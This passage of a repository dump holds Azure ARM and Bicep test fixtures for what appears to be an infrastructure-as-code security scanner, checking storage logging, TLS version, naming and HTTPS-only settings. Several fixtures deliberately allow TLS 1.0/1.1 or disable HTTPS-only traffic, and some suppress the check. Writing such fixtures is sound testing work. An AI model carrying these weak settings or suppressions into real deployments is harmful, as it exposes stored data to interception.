\"enabled\": false\n                  },\n                  {\n                    \"category\": \"StorageDelete\",\n                    \"enabled\": true\n                  }\n                ],\n                \"metrics\": [\n                  {\n                    \"category\": \"Transaction\",\n                    \"enabled\": true\n                  }\n                ]\n              }\n            },\n            {\n              \"condition\": \"[variables('hasqueue')]\",\n              \"type\": \"Microsoft.Storage/storageAccounts/queueServices/providers/diagnosticsettings\",\n              \"apiVersion\": \"2017-05-01-preview\",\n              \"name\": \"[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]\",\n              \"properties\": {\n                \"workspaceId\": \"[parameters('workspaceId')]\",\n                \"storageAccountId\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]\",\n                \"logs\": [\n                  {\n                    \"category\": \"StorageRead\",\n                    \"enabled\": true\n                  }\n                ],\n                \"metrics\": [\n                  {\n                    \"category\": \"Transaction\",\n                    \"enabled\": true\n                  }\n                ]\n              }\n            }\n          ]\n        }\n      }\n    }\n  ]\n\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountLoggingQueueServiceEnabled/exampleStorageAccountLoggingQueueServiceEnabled-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"storageAccountName\": {\n      \"type\": \"String\"\n    },\n    \"settingName\": {\n      \"type\": \"String\"\n    },\n    \"storageSinkName\": {\n      \"type\": \"String\"\n    },\n    \"workspaceId\": {\n      \"type\": \"String\"\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-10-01\",\n      \"name\": \"nested\",\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"expressionEvaluationOptions\": {\n          \"scope\": \"inner\"\n        },\n        \"parameters\": {\n          \"endpoints\": {\n            \"value\": \"[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01', 'Full').properties.primaryEndpoints]\"\n          },\n          \"settingName\": {\n            \"value\": \"[parameters('settingName')]\"\n          },\n          \"storageAccountName\": {\n            \"value\": \"[parameters('storageAccountName')]\"\n          },\n          \"storageSinkName\": {\n            \"value\": \"[parameters('storageSinkName')]\"\n          },\n          \"workspaceId\": {\n            \"value\": \"[parameters('workspaceId')]\"\n          }\n        },\n        \"template\": {\n          \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n          \"contentVersion\": \"1.0.0.0\",\n          \"parameters\": {\n            \"endpoints\": {\n              \"type\": \"object\"\n            },\n            \"settingName\": {\n              \"type\": \"String\"\n            },\n            \"storageAccountName\": {\n              \"type\": \"String\"\n            },\n            \"storageSinkName\": {\n              \"type\": \"String\"\n            },\n            \"workspaceId\": {\n              \"type\": \"String\"\n            }\n          },\n          \"variables\": {\n            \"hasblob\": \"[contains(parameters('endpoints'),'blob')]\",\n            \"hastable\": \"[contains(parameters('endpoints'),'table')]\",\n            \"hasfile\": \"[contains(parameters('endpoints'),'file')]\",\n            \"hasqueue\": \"[contains(parameters('endpoints'),'queue')]\"\n          },\n          \"resources\": [\n            {\n              \"type\": \"Microsoft.Storage/storageAccounts/providers/diagnosticsettings\",\n              \"apiVersion\": \"2017-05-01-preview\",\n              \"name\": \"[concat(parameters('storageAccountName'),'/Microsoft.Insights/', parameters('settingName'))]\",\n\n              \"properties\": {\n                \"workspaceId\": \"[parameters('workspaceId')]\",\n                \"storageAccountId\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]\",\n                \"metrics\": [\n                  {\n                    \"category\": \"Transaction\",\n                    \"enabled\": true\n                  }\n                ]\n              }\n            },\n            {\n              \"condition\": \"[variables('hasblob')]\",\n              \"type\": \"Microsoft.Storage/storageAccounts/blobServices/providers/diagnosticsettings\",\n              \"apiVersion\": \"2017-05-01-preview\",\n              \"name\": \"[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]\",\n              \"properties\": {\n                \"workspaceId\": \"[parameters('workspaceId')]\",\n                \"storageAccountId\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]\",\n                \"logs\": [\n                  {\n                    \"category\": \"StorageRead\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageWrite\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageDelete\",\n                    \"enabled\": true\n                  }\n                ],\n                \"metrics\": [\n                  {\n                    \"category\": \"Transaction\",\n                    \"enabled\": true\n                  }\n                ]\n              }\n            },\n            {\n              \"condition\": \"[variables('hastable')]\",\n              \"type\": \"Microsoft.Storage/storageAccounts/tableServices/providers/diagnosticsettings\",\n              \"apiVersion\": \"2017-05-01-preview\",\n              \"name\": \"[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]\",\n\n              \"properties\": {\n                \"workspaceId\": \"[parameters('workspaceId')]\",\n                \"storageAccountId\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]\",\n                \"logs\": [\n                  {\n                    \"category\": \"StorageRead\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageWrite\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageDelete\",\n                    \"enabled\": true\n                  }\n                ],\n                \"metrics\": [\n                  {\n                    \"category\": \"Transaction\",\n                    \"enabled\": true\n                  }\n                ]\n              }\n            },\n            {\n              \"condition\": \"[variables('hasfile')]\",\n              \"type\": \"Microsoft.Storage/storageAccounts/fileServices/providers/diagnosticsettings\",\n              \"apiVersion\": \"2017-05-01-preview\",\n              \"name\": \"[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]\",\n              \"properties\": {\n                \"workspaceId\": \"[parameters('workspaceId')]\",\n                \"storageAccountId\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]\",\n                \"logs\": [\n                  {\n                    \"category\": \"StorageRead\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageWrite\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageDelete\",\n                    \"enabled\": true\n                  }\n                ],\n                \"metrics\": [\n                  {\n                    \"category\": \"Transaction\",\n                    \"enabled\": true\n                  }\n                ]\n              }\n            },\n            {\n              \"condition\": \"[variables('hasqueue')]\",\n              \"type\": \"Microsoft.Storage/storageAccounts/queueServices/providers/diagnosticsettings\",\n              \"apiVersion\": \"2017-05-01-preview\",\n              \"name\": \"[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]\",\n              \"properties\": {\n                \"workspaceId\": \"[parameters('workspaceId')]\",\n                \"storageAccountId\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]\",\n                \"logs\": [\n                  {\n                    \"category\": \"StorageRead\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageWrite\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageDelete\",\n                    \"enabled\": true\n                  }\n                ],\n                \"metrics\": [\n                  {\n                    \"category\": \"Transaction\",\n                    \"enabled\": true\n                  }\n                ]\n              }\n            }\n          ]\n        }\n      }\n    }\n  ]\n\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountMinimumTlsVersion/exampleStorageAccountMinimumTlsVersion-fail1.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n      \"storageAccountType\": {\n        \"type\": \"string\",\n        \"defaultValue\": \"Standard_LRS\",\n        \"allowedValues\": [\n          \"Standard_LRS\",\n          \"Standard_GRS\",\n          \"Standard_ZRS\",\n          \"Premium_LRS\"\n        ],\n        \"metadata\": {\n          \"description\": \"Storage Account type\"\n        }\n      },\n      \"location\": {\n        \"type\": \"string\",\n        \"defaultValue\": \"[resourceGroup().location]\",\n        \"metadata\": {\n          \"description\": \"Location for all resources.\"\n        }\n      }\n    },\n    \"variables\": {\n      \"storageAccountName\": \"[concat('store', uniquestring(resourceGroup().id))]\"\n    },\n    \"resources\": [\n      {\n        \"type\": \"Microsoft.Storage/storageAccounts\",\n        \"apiVersion\": \"2019-04-01\",\n        \"name\": \"[variables('storageAccountName')]\",\n        \"location\": \"[parameters('location')]\",\n        \"sku\": {\n          \"name\": \"[parameters('storageAccountType')]\"\n        },\n        \"kind\": \"StorageV2\",\n        \"properties\": {\n          \"minimumTlsVersion\": \"TLS1_0\",\n          \"supportsHttpsTrafficOnly\": true,\n          \"networkAcls\": {\n            \"defaultAction\": \"Deny\",\n            \"bypass\": \"AzureServices\"\n          }\n        }\n      }\n    ],\n    \"outputs\": {\n      \"storageAccountName\": {\n        \"type\": \"string\",\n        \"value\": \"[variables('storageAccountName')]\"\n      }\n    }\n  }\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountMinimumTlsVersion/exampleStorageAccountMinimumTlsVersion-fail2.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n      \"storageAccountType\": {\n        \"type\": \"string\",\n        \"defaultValue\": \"Standard_LRS\",\n        \"allowedValues\": [\n          \"Standard_LRS\",\n          \"Standard_GRS\",\n          \"Standard_ZRS\",\n          \"Premium_LRS\"\n        ],\n        \"metadata\": {\n          \"description\": \"Storage Account type\"\n        }\n      },\n      \"location\": {\n        \"type\": \"string\",\n        \"defaultValue\": \"[resourceGroup().location]\",\n        \"metadata\": {\n          \"description\": \"Location for all resources.\"\n        }\n      }\n    },\n    \"variables\": {\n      \"storageAccountName\": \"[concat('store', uniquestring(resourceGroup().id))]\"\n    },\n    \"resources\": [\n      {\n        \"type\": \"Microsoft.Storage/storageAccounts\",\n        \"apiVersion\": \"2019-04-01\",\n        \"name\": \"[variables('storageAccountName')]\",\n        \"location\": \"[parameters('location')]\",\n        \"sku\": {\n          \"name\": \"[parameters('storageAccountType')]\"\n        },\n        \"kind\": \"StorageV2\",\n        \"properties\": {\n          \"minimumTlsVersion\": \"TLS1_1\",\n          \"supportsHttpsTrafficOnly\": true,\n          \"networkAcls\": {\n            \"defaultAction\": \"Deny\",\n            \"bypass\": \"AzureServices\"\n          }\n        }\n      }\n    ],\n    \"outputs\": {\n      \"storageAccountName\": {\n        \"type\": \"string\",\n        \"value\": \"[variables('storageAccountName')]\"\n      }\n    }\n  }\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountMinimumTlsVersion/exampleStorageAccountMinimumTlsVersion-fail3.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n      \"storageAccountType\": {\n        \"type\": \"string\",\n        \"defaultValue\": \"Standard_LRS\",\n        \"allowedValues\": [\n          \"Standard_LRS\",\n          \"Standard_GRS\",\n          \"Standard_ZRS\",\n          \"Premium_LRS\"\n        ],\n        \"metadata\": {\n          \"description\": \"Storage Account type\"\n        }\n      },\n      \"location\": {\n        \"type\": \"string\",\n        \"defaultValue\": \"[resourceGroup().location]\",\n        \"metadata\": {\n          \"description\": \"Location for all resources.\"\n        }\n      }\n    },\n    \"variables\": {\n      \"storageAccountName\": \"[concat('store', uniquestring(resourceGroup().id))]\"\n    },\n    \"resources\": [\n      {\n        \"type\": \"Microsoft.Storage/storageAccounts\",\n        \"apiVersion\": \"2019-04-01\",\n        \"name\": \"[variables('storageAccountName')]\",\n        \"location\": \"[parameters('location')]\",\n        \"sku\": {\n          \"name\": \"[parameters('storageAccountType')]\"\n        },\n        \"kind\": \"StorageV2\",\n        \"properties\": {\n          \"supportsHttpsTrafficOnly\": true,\n          \"networkAcls\": {\n            \"defaultAction\": \"Deny\",\n            \"bypass\": \"AzureServices\"\n          }\n        }\n      }\n    ],\n    \"outputs\": {\n      \"storageAccountName\": {\n        \"type\": \"string\",\n        \"value\": \"[variables('storageAccountName')]\"\n      }\n    }\n  }\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountMinimumTlsVersion/exampleStorageAccountMinimumTlsVersion-passed.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n      \"storageAccountType\": {\n        \"type\": \"string\",\n        \"defaultValue\": \"Standard_LRS\",\n        \"allowedValues\": [\n          \"Standard_LRS\",\n          \"Standard_GRS\",\n          \"Standard_ZRS\",\n          \"Premium_LRS\"\n        ],\n        \"metadata\": {\n          \"description\": \"Storage Account type\"\n        }\n      },\n      \"location\": {\n        \"type\": \"string\",\n        \"defaultValue\": \"[resourceGroup().location]\",\n        \"metadata\": {\n          \"description\": \"Location for all resources.\"\n        }\n      }\n    },\n    \"variables\": {\n      \"storageAccountName\": \"[concat('store', uniquestring(resourceGroup().id))]\"\n    },\n    \"resources\": [\n      {\n        \"type\": \"Microsoft.Storage/storageAccounts\",\n        \"apiVersion\": \"2019-04-01\",\n        \"name\": \"[variables('storageAccountName')]\",\n        \"location\": \"[parameters('location')]\",\n        \"sku\": {\n          \"name\": \"[parameters('storageAccountType')]\"\n        },\n        \"kind\": \"StorageV2\",\n        \"properties\": {\n          \"minimumTlsVersion\": \"TLS1_2\",\n          \"supportsHttpsTrafficOnly\": true,\n          \"networkAcls\": {\n            \"defaultAction\": \"Deny\",\n            \"bypass\": \"AzureServices\"\n          }\n        }\n      }\n    ],\n    \"outputs\": {\n      \"storageAccountName\": {\n        \"type\": \"string\",\n        \"value\": \"[variables('storageAccountName')]\"\n      }\n    }\n  }\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountName/camelCase.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2021-04-01\",\n      \"name\": \"thisIsWrong\",\n      \"location\": \"westeurope\",\n      \"kind\": \"StorageV2\",\n      \"sku\": {\n        \"name\": \"Standard_GRS\"\n      },\n      \"tags\": {\n        \"environment\": \"staging\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountName/kebabCase.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2021-04-01\",\n      \"name\": \"this-is-wrong\",\n      \"location\": \"westeurope\",\n      \"kind\": \"StorageV2\",\n      \"sku\": {\n        \"name\": \"Standard_GRS\"\n      },\n      \"tags\": {\n        \"environment\": \"staging\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountName/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2021-04-01\",\n      \"name\": \"storageaccountname\",\n      \"location\": \"westeurope\",\n      \"kind\": \"StorageV2\",\n      \"sku\": {\n        \"name\": \"Standard_GRS\",\n        \"tier\": \"Standard\"\n      },\n      \"tags\": {\n        \"environment\": \"staging\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountName/passNumber.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2021-04-01\",\n      \"name\": \"1234567890\",\n      \"location\": \"westeurope\",\n      \"kind\": \"StorageV2\",\n      \"sku\": {\n        \"name\": \"Standard_GRS\"\n      },\n      \"tags\": {\n        \"environment\": \"staging\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountName/substring.bicep",
    "content": "@description('Name of the environment')\nparam environmentName string\n\n@description('Name of the Storage account')\nparam storageAccountName string = substring('abcdefgh${environmentName}${uniqueString(resourceGroup().id)}', 0, 24)\n\n@description('Provide a location for the resources.')\nparam location string = resourceGroup().location\n\nresource dataStorageAccount 'Microsoft.Storage/storageAccounts@2021-09-01' = {\n  name: storageAccountName\n  location: location\n  sku: {\n    name: 'Standard_LRS'\n  }\n  kind: 'StorageV2'\n  identity: {\n    type: 'SystemAssigned'\n  }\n  properties: {\n    accessTier: 'Hot'\n    allowBlobPublicAccess: false\n    allowSharedKeyAccess: true\n    allowCrossTenantReplication: false\n    isHnsEnabled: true\n    allowedCopyScope: 'AAD'\n    defaultToOAuthAuthentication: false\n    encryption: {\n      keySource: 'Microsoft.Storage'\n      requireInfrastructureEncryption: false\n      services: {\n        blob: {\n          enabled: true\n          keyType: 'Account'\n        }\n      }\n    }\n    minimumTlsVersion: 'TLS1_2'\n    largeFileSharesState: 'Disabled'\n    sasPolicy: {\n      expirationAction: 'Log'\n      sasExpirationPeriod: '00.00:10:00'\n    }\n    supportsHttpsTrafficOnly: true\n    networkAcls: {\n      bypass: 'AzureServices'\n      virtualNetworkRules: []\n      ipRules: []\n      defaultAction: 'Allow'\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountName/tooLong.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2021-04-01\",\n      \"name\": \"thisiswayyyyyytoooloooong\",\n      \"location\": \"westeurope\",\n      \"kind\": \"StorageV2\",\n      \"sku\": {\n        \"name\": \"Standard_GRS\"\n      },\n      \"tags\": {\n        \"environment\": \"staging\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountsTransportEncryption/notes.txt",
    "content": "NOTE: https://docs.microsoft.com/en-us/azure/templates/microsoft.storage/2019-04-01/storageaccounts \nsupportsHttpsTrafficOnly: Allows https traffic only to storage service if sets to true. The default value is true since\nAPI version 2019-04-01.\n\nSupported API versions for storage accounts are: 2019-06-01, 2019-04-01, 2018-11-01, 2018-07-01, 2018-03-01-preview,\n2018-02-01, 2017-10-01, 2017-06-01, 2016-12-01, 2016-05-01, 2016-01-01, 2015-06-15, 2015-05-01-preview\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountsTransportEncryption/storageAccount-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ],\n      \"metadata\": {\n        \"description\": \"Storage Account type\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[concat('store', uniquestring(resourceGroup().id))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2019-04-01\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"supportsHttpsTrafficOnly\": false\n      }\n    }\n  ],\n  \"outputs\": {\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"value\": \"[variables('storageAccountName')]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountsTransportEncryption/storageAccount-FAILED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ],\n      \"metadata\": {\n        \"description\": \"Storage Account type\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[concat('store', uniquestring(resourceGroup().id))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {}\n    }\n  ],\n  \"outputs\": {\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"value\": \"[variables('storageAccountName')]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountsTransportEncryption/storageAccount-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ],\n      \"metadata\": {\n        \"description\": \"Storage Account type\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[concat('store', uniquestring(resourceGroup().id))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2019-04-01\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"supportsHttpsTrafficOnly\": true\n      }\n    }\n  ],\n  \"outputs\": {\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"value\": \"[variables('storageAccountName')]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountsTransportEncryption/storageAccount-PASSED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ],\n      \"metadata\": {\n        \"description\": \"Storage Account type\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[concat('store', uniquestring(resourceGroup().id))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2019-04-01\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {}\n    }\n  ],\n  \"outputs\": {\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"value\": \"[variables('storageAccountName')]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountsTransportEncryption/storageAccount-PASSED3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ],\n      \"metadata\": {\n        \"description\": \"Storage Account type\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"httpsOnly\": {\n      \"type\": \"bool\",\n      \"defaultValue\": \"true\",\n      \"metadata\": {\n        \"description\": \"Enforce HTTPS traffic Only.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[concat('store', uniquestring(resourceGroup().id))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2019-04-01\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"supportsHttpsTrafficOnly\": \"[parameters('httpsOnly')]\"\n      }\n    }\n  ],\n  \"outputs\": {\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"value\": \"[variables('storageAccountName')]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountsTransportEncryption/storageAccount-SKIPPED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ],\n      \"metadata\": {\n        \"description\": \"Storage Account type\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[concat('store', uniquestring(resourceGroup().id))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2019-04-01\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"supportsHttpsTrafficOnly\": false\n      },\n      \"metadata\": {\n        \"checkov\": \"CKV_AZURE_3:We don't care about secure data.\"\n      }\n    }\n  ],\n  \"outputs\": {\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"value\": \"[variables('storageAccountName')]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountsTransportEncryption/storageAccount-SKIPPED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ],\n      \"metadata\": {\n        \"description\": \"Storage Account type\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[concat('store', uniquestring(resourceGroup().id))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2019-04-01\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"supportsHttpsTrafficOnly\": false\n      },\n      \"metadata\": {\n        \"checkov\": [\n          \"CKV_ARM_2\",\n          \"CKV_AZURE_3:We don't care about secure data.\"\n        ]\n      }\n    }\n  ],\n  \"outputs\": {\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"value\": \"[variables('storageAccountName')]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountsTransportEncryption/storageAccount-SKIPPED3.json",
